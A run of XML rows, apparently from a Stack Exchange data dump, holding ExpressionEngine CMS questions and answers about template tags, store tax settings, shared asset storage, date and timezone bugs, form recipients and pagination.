  <row Id="30506" PostTypeId="2" ParentId="30473" CreationDate="2015-03-12T18:29:23.927" Score="0" Body="&lt;p&gt;Granted this is not the ideal way of getting the total_results and count in the categories tag pair, but it &quot;works&quot; and I've never have found an alternate solution. You have to enable PHP and set it to parse on output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&amp;lt;?php $count = 0; ?&gt;&#xA;{categories}&#xA;    &amp;lt;?php $count++; ?&gt;&#xA;    This is the &amp;lt;?php echo $count; ?&gt; category for this entry.&#xA;{/categories}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use $count where ever you need to display it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;There are &amp;lt;?php echo $count; ?&gt; categories for this entry. &lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would love to hear if someone had a better solution.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-03-12T18:29:23.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30507" PostTypeId="2" ParentId="19418" CreationDate="2015-03-12T21:03:02.267" Score="0" Body="&lt;p&gt;I'm going to throw in my solution here because overall I find it much simpler.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;relationship_channel&quot; dynamic=&quot;no&quot;}&#xA;&#xA;  {relationship_field}&#xA;&#xA;    {relationship_field:title} // the title of our channel entry which has the grid&#xA;&#xA;    {relationship_field:grid_field} // starts our loop inside of the grid&#xA;&#xA;      {grid_field:grid_field_label} // we don't need to specify that we're in the relationship anymore, just that we're in the grid.&#xA;&#xA;    {/relationship_field:grid_field}&#xA;&#xA;  {/relationship_field}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this is helpful to someone.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2015-03-12T21:03:02.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30508" PostTypeId="1" CreationDate="2015-03-13T09:23:43.587" Score="3" ViewCount="86" Body="&lt;p&gt;I don't recall this previously being the case, but lately I've been accosted by horrendous long lines and the need to use a scroll bar when viewing raw source in a WYGWAM field. Is there any way to make this go away and have things soft-wrapped into a normal viewing port window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2016-05-23T08:38:59.930" Title="Word-wrap when viewing source in WYGWAM" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30509" PostTypeId="1" AcceptedAnswerId="30510" CreationDate="2015-03-13T10:33:47.797" Score="0" ViewCount="181" Body="&lt;p&gt;I have an action URL, index.php?ACT=23, that calls a function which inserts some info into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is being called from an AJAX function, so I can't control where it is called from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My concern is that it would be easy to set up a script to call this URL repeatedly and thus insert loads of data and probably bring the site down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be concerned, what can I do to prevent this?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2015-03-13T10:39:07.760" LastActivityDate="2015-03-13T21:07:16.907" Title="Security of an Action URL called from AJAX" Tags="|module|security|action|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30510" PostTypeId="2" ParentId="30509" CreationDate="2015-03-13T11:45:42.007" Score="2" Body="&lt;p&gt;What data does the script which is being triggered with action URL accept? If that's EE form submission, then you should not worry if you follow standard EE forms security settings/practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a custom script that accepts ANY data, then you of course might need to add additional protection to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a separate chapter in EE docs on &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/guidelines/security.html&quot; rel=&quot;nofollow&quot;&gt;security guidelines&lt;/a&gt;. Make sure your add-on follows those, specifically look into &quot;Cross Site Request Forgery&quot; section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short answer is: it's impossible to answer your question without seeing the code.&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2015-03-13T21:07:16.907" LastActivityDate="2015-03-13T21:07:16.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30511" PostTypeId="2" ParentId="30437" CreationDate="2015-03-13T13:12:53.037" Score="2" Body="&lt;p&gt;I haven't tried myself it yet, but looking at the code I'm 99% sure this will do the trick:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open &lt;code&gt;system/expressionengine/controllers/cp/content_files.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Navigate to &lt;code&gt;function do_sync_files()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Find the portion of code that says &lt;code&gt;$thumb_created = $this-&amp;gt;filemanager-&amp;gt;create_thumb&lt;/code&gt; (line 1320 and following ones in EE 2.9.2)&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;code&gt;FALSE   // Overwrite existing thumbs&lt;/code&gt; to &lt;code&gt;TRUE  // Don't overwrite existing thumbs&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-03-13T13:12:53.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30512" PostTypeId="1" CreationDate="2015-03-13T14:34:26.737" Score="0" ViewCount="47" Body="&lt;p&gt;One of the expressionengine sites I run is having a strange but that I suspect is something to with the recent server move we just did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an entry the user can set a start/finish time of an event and this will then display on the site for people to see, the code I'm using to display the date is this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;?php&#xA;                    //date format&#xA;                      $start_date       =   '{start_date}';&#xA;                      $end_date     =   '{end_date}';&#xA;                        $strtD  = date('D j', $start_date);&#xA;                        $strtM  = date('M', $start_date);&#xA;                        $endD   = date('D j', $end_date);&#xA;                        $endM   = date('M', $end_date);&#xA;&#xA;                        if ($strtD == $endD &amp;amp;&amp;amp; $strtM == $endM) {&#xA;                            echo $strtD .' '. $strtM;&#xA;                        } else if ($strtM == $endM) {&#xA;                            echo $strtD .' - '. $endD .' '.$endM;   &#xA;                        } else {&#xA;                            echo $strtD .' '. $strtM .' - '. $endD .' '.$endM ; &#xA;                        }&#xA;&#xA;                    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue thats happening is when the start and finish date is set, for example to 11/04/2015 00:00 on the output of the post it display the 10th of april instead of the 11th. I tried upping the time to 01:00 and still no luck and i tried 02:00 and 03:00 which didn't work either but when i did 04:00 it then put the outputted date to 11th April.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes me think it's some issue with timezone settings, which I have checked as deep as I can think of, I have set the server time to GMT and specified this in the EE setting, I'm at a bit of a lost end now as I have tried everything I can think of, does anyone have any suggestions with what the issue could be/how it can be fixed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, Harry.&lt;/p&gt;&#xA;" OwnerUserId="6129" LastActivityDate="2015-03-13T14:34:26.737" Title="Date set in an entry is outputting 4 hours behind the date set" Tags="|php|date|server|server-migration|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30513" PostTypeId="1" CreationDate="2015-03-13T14:50:07.137" Score="0" ViewCount="249" Body="&lt;p&gt;If I wanted to consume API feeds (restful) and import that data into EE as entries, is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to import a bulk amount of channels (once only), then a bunch of categories for each channel (once only/or once a blue moon), and then I want ti be able to fetch the JSON and use it with some mapping to entries in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Solspace - importer the best tool to do this, or will I be better writing some manual PHP scripts to import them all into EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final site will be thousands of pages, and then I am going to augment them with further data made available over an API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am really hoping EE will scale to this, as otherwise I need to write the system from scratch - how large does EE scale to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at say 500k unique visits a month viewing this imported data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would this; be a better option&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://reinos.nl/expressionengine/webservice/docs&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/expressionengine/webservice/docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Excuse my long reply! * I am the thread author, just found my proper SE account!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How was your experience using DataGrab, so I am correct in thinking if I had an API, I could make it import that into an entry, and also some custom fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you share with me as much detail as you wish, about how you found that process, and how you did it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have 250 channels to create, with up to 30 categories in each, and each category would have 5-10 pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, is there a way I could make all the channels share the same template, all the categories the same, and all the pages the same? I.E three templates, without me duplicating them numerous times? Is there a way to smooth that flow too, I want to automate much of the entry creation as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I had weather data, I want to be able to make a weather page for up to... 500 cities programatically, but I want each one to be a separate page. like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/channel/category/city&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very familiar with EE, just never tried to automate content/entry creation and this would be at scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With datagrab, I could import the data through the API, but I can still edit it too through the usual edit content pages correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can't figure out how to do it with DataGrab, then I fear I would have to write an Angular App from scratch, but I love the EE interface and stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, which plugin do you think is best? Datagrab sounds like it has more features, but I have bought SolSpace plugins before and they have always been good..&lt;/p&gt;&#xA;" OwnerUserId="6130" LastEditorUserId="22" LastEditDate="2015-03-16T14:26:08.423" LastActivityDate="2015-03-16T14:26:08.423" Title="How to import API data into EE" Tags="|solspace-importer|channel-entries-api|api|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30514" PostTypeId="2" ParentId="30513" CreationDate="2015-03-13T14:52:54.660" Score="1" Body="&lt;p&gt;I've used DataGrab to achieve this in the past. Solspace Importer will also do the same. &lt;/p&gt;&#xA;" OwnerUserId="541" LastEditorUserId="115" LastEditDate="2015-03-13T23:15:32.123" LastActivityDate="2015-03-13T23:15:32.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30515" PostTypeId="1" AcceptedAnswerId="30516" CreationDate="2015-03-13T15:49:51.207" Score="1" ViewCount="94" Body="&lt;p&gt;My client sells products from the UK to EU member countries and worldwide. The site is built on Expresso Store 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product prices have been entered inclusive of tax and a tax rate of 20% UK VAT has been created applicable to EU member countries. I've also checked the box &lt;em&gt;included in price&lt;/em&gt; for this tax rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a customer from outside the EU comes to purchase from the site, the 20% VAT should not be charged. I had assumed 20% should be deducted from the the value of the basket but this doesn't appear to be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Customers outside the EU are being charged the same price, just the VAT breakdown is not shown. They should really pay the price - less the tax, but I cannot work out how to set this up. I've tried setting up a 'Tax Exempt' tax rate but this didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried alternatively entering prices exclusive of tax but it became problematic displaying prices inclusive of tax (to EU customers) on the product pages. This also produced the tax rounding issues associated with Store v1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've studied other e-commerce sites and they manage to charge the lower price and get around tax-rounding issues. Has anyone experienced similar difficulties setting up Store?&lt;/p&gt;&#xA;" OwnerUserId="1019" LastActivityDate="2015-03-13T18:22:44.503" Title="Selling products inside EU with UK VAT and outside EU with VAT deducted" Tags="|expresso-store|tax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30516" PostTypeId="2" ParentId="30515" CreationDate="2015-03-13T18:22:44.503" Score="1" Body="&lt;p&gt;In short you will have to use tax-exclusive pricing or develop an extension that would actually subtract the 20% for orders outside of the EU. The reason for this is that if you set a product to $50.00 with tax inclusive pricing and a tax of 20% your actual item price would be $41.67 but at the same time if you have a tax inclusive price of $50 and a 0% tax the item amount jumps to $50 and the tax is $0. So Store is actually calculating the totals correctly just not how you want them to be calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correctly in either the 2.2 or 2.3 release the Store team had a bug fix that helped with rounding issues associated with taxes and sales percentages so that should address most of the issues that you have with tax-exclusive pricing (albeit a pain in the butt to have the content editors calculate the totals). It should also be mentioned that you you can enter prices to 4 decimal places to help with rounding issues &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$41.6666 * 1.2 = 49.99992 &#xA;or &#xA;$41.6667 * 1.2 = 50.00004&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is why I recommend going with the extension approach because you could calculate the totals and adjustments pragmatically and keep a simple publishing approach for your content creators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is however another possible option depending on your product complexity if you are not comfortable with PHP (this should really only be considered as a last resort). You would keep your tax-inclusive pricing option that you have currently set you would then add a &quot;variable single sku&quot; option to your products with a specific name lets say &quot;country&quot; as an example with 2 options &lt;code&gt;EU&lt;/code&gt; and &lt;code&gt;Not EU&lt;/code&gt;. Where &lt;code&gt;EU&lt;/code&gt; has no price modification and &lt;code&gt;Not EU&lt;/code&gt; has a value of negative whatever to get the items actual price. Then in your template you would need to somehow gather the users location via IP2Location or similar. Then  you would need to have some logic for your country modifier to preselect the proper modifier based upon the users location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Let me say again that the other possible solution above is not the ideal situation and I would really not recommend that you use an approach like that but it does it work if you absolutely have no other option.)&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-03-13T18:22:44.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30517" PostTypeId="1" AcceptedAnswerId="30520" CreationDate="2015-03-13T19:04:11.107" Score="1" ViewCount="69" Body="&lt;p&gt;I have 3 installations of my website: beta, demo, and production. Template and functionality changes are made on beta, content is entered on demo and everything moves to production as it is approved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using Assets for all of our, um, assets (images, audio files, etc.). I would like to move everything to Amazon S3 and have all 3 installations point to one place so that I don't have to have 3 copies of everything. Is this possible? In order to update the database, right now, I back up the version on demo and move it to the other locations. So that would have the index information, right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any other ideas on the best way to store assets in one location for use in multiple installations, I would appreciate hearing about them. &lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2015-03-13T23:14:10.710" Title="Working with staging server and production server - can they share the same Assets locations?" Tags="|assets|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30518" PostTypeId="2" ParentId="30517" CreationDate="2015-03-13T20:55:59.383" Score="1" Body="&lt;p&gt;Not a bad approach; I'm using it on a large project now and we haven't had too many issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our setup, development/staging share the same database but have their own file system for templates/snippets/EE.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2015-03-13T20:55:59.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30519" PostTypeId="1" CreationDate="2015-03-13T21:20:10.450" Score="0" ViewCount="64" Body="&lt;p&gt;Currently, it would appear that if a user is using a system with a dynamic IP address, they will be logged out every time the IP address changes. The &quot;solution&quot; that has most commonly been presented with this is to simply turn off the &quot;require IP address at login&quot; option. This seems silly to me, because requiring an IP address addresses several security issues. How can I resolve this issue without turning of the IP address requirement issue? &lt;/p&gt;&#xA;" OwnerUserId="6131" LastActivityDate="2015-03-16T17:35:20.140" Title="Handle Dynamic IP Addresses on Login" Tags="|login|ip|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30520" PostTypeId="2" ParentId="30517" CreationDate="2015-03-13T23:14:10.710" Score="2" Body="&lt;p&gt;I have a client that has a similar setup with Assets and S3 and it works without issues, content created on local, dev, staging has no issues being added to the live site or any combination of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a client that has dev, staging and live instances on the same server and I have the upload path folders symalinked to the live for dev and staging. Which works without issues. In this case usually the live DB is transfer to the dev and staging DB to test out new features or troubleshoot/change templates with real content from the live site.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-03-13T23:14:10.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30521" PostTypeId="2" ParentId="30513" CreationDate="2015-03-13T23:20:49.277" Score="0" Body="&lt;p&gt;You can setup both Solspace Importer and DataGrab to handle imports via CSV, RSS, JSON request either at a single time or on a schedule without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without getting into the debate of server setup you shouldn't have issues with serving that amount of visitors on a monthly basis assuming your server setup is sufficient. I have a client site that serves almost 500k unique visits a day without issues. You can see some large sites in a recently updated &lt;a href=&quot;http://www.hopstudios.com/blog/the_largest_expressionengine_sites&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; from Hop Studios&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-03-13T23:20:49.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30522" PostTypeId="1" CreationDate="2015-03-14T03:05:00.920" Score="0" ViewCount="53" Body="&lt;p&gt;Looking for a solution to make users have to click a checkbox to accept the terms and conditions of our membership before being able to subscribe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would prefer some sort of required field solution rather than scripting something outside of the add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2016-06-15T11:05:08.883" Title="Accept Terms Field in DevDemon Subscriptions" Tags="|devdemon|subscriptions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30523" PostTypeId="1" CreationDate="2015-03-14T16:01:16.967" Score="0" ViewCount="32" Body="&lt;p&gt;Please help me Im going a bit crazy with a simple problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to use the current time for my URL title so they are no easily found, I had it working but it isn't anymore and I cant work out why. It will post a new entry if I just allow it to use the title as the URL title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Its driving mad, as it must be something so simple but I cant see it :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;Channel&quot; return=&quot;/test/{segment_2}&quot; url_title=&quot;{segment_2}&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;large-6 columns&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;title&quot;&amp;gt;title&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;label for=&quot;url_title&quot;&amp;gt;urltitle&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{title}{current_time}&quot; size=&quot;50&quot; maxlength=&quot;100&quot;&amp;gt;                          &#xA;&#xA;    &amp;lt;input class=&quot;button&quot; type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;{/exp:channel:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6058" LastEditorUserId="425" LastEditDate="2015-03-15T12:29:10.740" LastActivityDate="2015-03-15T12:29:10.740" Title="Cannot save new entries" Tags="|channel-entries|url-title|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30524" PostTypeId="1" AcceptedAnswerId="30542" CreationDate="2015-03-14T18:42:33.600" Score="1" ViewCount="303" Body="&lt;p&gt;EE 2.9.0, store 2.5.0 - and anytime store code appears on a page this error occurs, exception of the cart, so it looks like it is tied to the products. Take the store product code out and it renders fine. Any other page with standard EE code and it renders fine. Anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Uncaught exception 'BadMethodCallException' with message 'Call to undefined method Illuminate\Database\Query\Builder::getEager()' in /home/d562657/public_html/admin/expressionengine/third_party/store/vendor/illuminate/database/Illuminate/Database/Query/Builder.php:1993 Stack trace: #0 [internal function]: Illuminate\Database\Query\Builder-&gt;__call('getEager', Array) #1 [internal function]: Illuminate\Database\Query\Builder-&gt;getEager() #2 /home/d562657/public_html/admin/expressionengine/third_party/store/vendor/illuminate/database/Illuminate/Database/Eloquent/Builder.php(919): call_user_func_array(Array, Array) #3 [internal function]: Illuminate\Database\Eloquent\Builder-&gt;__call('getEager', Array) #4 [internal function]: Illuminate\Database\Eloquent\Builder-&gt;getEager() #5 /home/d562657/public_html/admin/expressionengine/third_party/_store/vendor/illuminate/database/Illuminate/Database/Eloquent/Relations/Relation.php(281): call_user_func_array(Array, Array) #6 /home/d562657/public_html/admin/expressionengine/thi in /home/d562657/public_html/admin/expressionengine/third_party/store/vendor/illuminate/database/Illuminate/Database/Query/Builder.php on line 1993&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2015-03-15T09:21:16.467" LastActivityDate="2015-03-16T09:09:08.087" Title="Expresso Store Fatal Error: Uncaught exception 'BadMethodCallException'" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30526" PostTypeId="2" ParentId="21533" CreationDate="2015-03-14T23:53:10.510" Score="0" Body="&lt;p&gt;Did you ever get the code for auto sync working? I am in need of the same functionality and would rather not reinvent the wheel.&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2015-03-14T23:53:10.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30528" PostTypeId="1" CreationDate="2015-03-15T02:58:48.003" Score="1" ViewCount="93" Body="&lt;p&gt;I am using Freeform Pro 4.1.8 and my dynamic recipents doesn't work. Actually, my recipents output are okay but when I submit there are no errors and the page only refresh. This is what I have in my freeform:form tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;          form_id=&quot;12&quot;&#xA;          form:id=&quot;enquiry-form&quot;&#xA;          required=&quot;first_name|last_name|email|code_regional|telephone_debut|telephone_fin|region|career&quot;&#xA;          return=&quot;/thank-you&quot;&#xA;          inline_errors=&quot;yes&quot;&#xA;&#xA;          recipients=&quot;yes&quot;&#xA;          recipient_template=&quot;notification_career&quot;&#xA;          recipient1=&quot;TEST1|myemail@host.com&quot;&#xA;          recipient2=&quot;TEST2|myotheremail@gmail.com&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my select tag code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;              &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label&amp;gt;Choose Recipients&amp;lt;/label&amp;gt;&#xA;&amp;lt;select class=&quot;form-control&quot; name=&quot;recipient_email&quot; id=&quot;recipient_email&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;        {freeform:recipients}&#xA;          &amp;lt;option value=&quot;{freeform:recipient_value}&quot;{if freeform:recipient_selected}selected=&quot;selected&quot;{/if}&amp;gt;{freeform:recipient_name}&amp;lt;/option&amp;gt;&#xA;        {/freeform:recipients}&#xA;      &amp;lt;/select&amp;gt;&#xA;                    {if freeform:error:region}&#xA;                      &amp;lt;strong&amp;gt;&amp;lt;p class=&quot;red_error&quot;&amp;gt;{freeform:error:region}&amp;lt;/p&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                    {/if}&#xA;              &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my Control Panel's structure, I did not enter any admin_notify because I guess dynamic recipients would override it. And my select tag has a name=&quot;recipient_email&quot;...I think I really did everything but when I submit, still the page refresh and that's it =/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3861" LastActivityDate="2016-02-08T19:40:32.937" Title="Freeform Pro - Dynamic Recipient doesn't work. Page only refresh" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30529" PostTypeId="1" AcceptedAnswerId="30531" CreationDate="2015-03-15T03:07:53.367" Score="0" ViewCount="149" Body="&lt;p&gt;I am having difficulty understanding how to display multiple categories inside an entry. This example is for a church website where sermons have multiple categories, such as which service it was in, and who the speaker was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm trying to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;sermons&quot; limit=&quot;10&quot; orderby=&quot;entry_date&quot; sort=&quot;asc&quot;}&#xA;    &amp;lt;div class=&quot;post&quot;&gt;&#xA;        &amp;lt;h3&gt;&amp;lt;a href=&quot;{title_permalink='sermons/'}&quot;&gt;{title}&amp;lt;/a&gt;&amp;lt;/h3&gt;&#xA;        &amp;lt;time&gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/time&gt;&#xA;        &amp;lt;span class=&quot;speaker&quot;&gt;{speaker_name}&amp;lt;/span&gt;&#xA;        &amp;lt;span class=&quot;service&quot;&gt;{service_name}&amp;lt;/span&gt;&#xA;    &amp;lt;/div&gt;&amp;lt;!--/.post--&gt;&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I want to display the two categories inside the entries loop, but I'm not sure how to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be greatly appreciated. Thank you much!&lt;/p&gt;&#xA;" OwnerUserId="6134" LastActivityDate="2015-03-15T07:53:02.563" Title="Displaying multiple categories separately" Tags="|categories|category-group|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30530" PostTypeId="1" CreationDate="2015-03-15T07:00:45.740" Score="0" ViewCount="144" Body="&lt;p&gt;I am helping someone with their Expression Engine site and I have an issue with pagination in some search results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination links are adding &quot;index.php/templategroup/template&quot; to the URL for each page. After the 3rd page click (where the pagination is regenerated) I run into the &quot;Error: The URL contains too many segments.&quot; error because the URL has expanded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, after the 3rd page click, i get &lt;strong&gt;index.php/directory/results&lt;/strong&gt; repeating:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;hxxp://site/index.php/directory/results/index.php/directory/results/search&amp;amp;keywords=xyz&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am familiar with codeigniter but this is my first attempt at working with expression engine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is running EE v. 240 and I believe they are using something called &quot;Super_Search&quot; because the template reads &quot;exp:super_search:results&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit as requested:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SuperSearch version = 1.4.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;directory&quot; paginate=&quot;both&quot; limit=&quot;10&quot; orderby=&quot;title&quot; sort=&quot;desc&quot; redirect_post=&quot;yes&quot; status=&quot;approved&quot;}&#xA;...content...&#xA;{paginate}&#xA;&amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;{/paginate}&#xA;&#xA;{if super_search_no_results}&#xA;&amp;lt;p&amp;gt;No results match your search. Try again by selecting fewer or different criteria.&#xA;&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6135" LastEditorUserId="6135" LastEditDate="2015-03-16T00:15:27.920" LastActivityDate="2015-03-16T01:21:30.383" Title="Pagination adding repeating index.php and template group segments to URL" Tags="|pagination|supersearch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
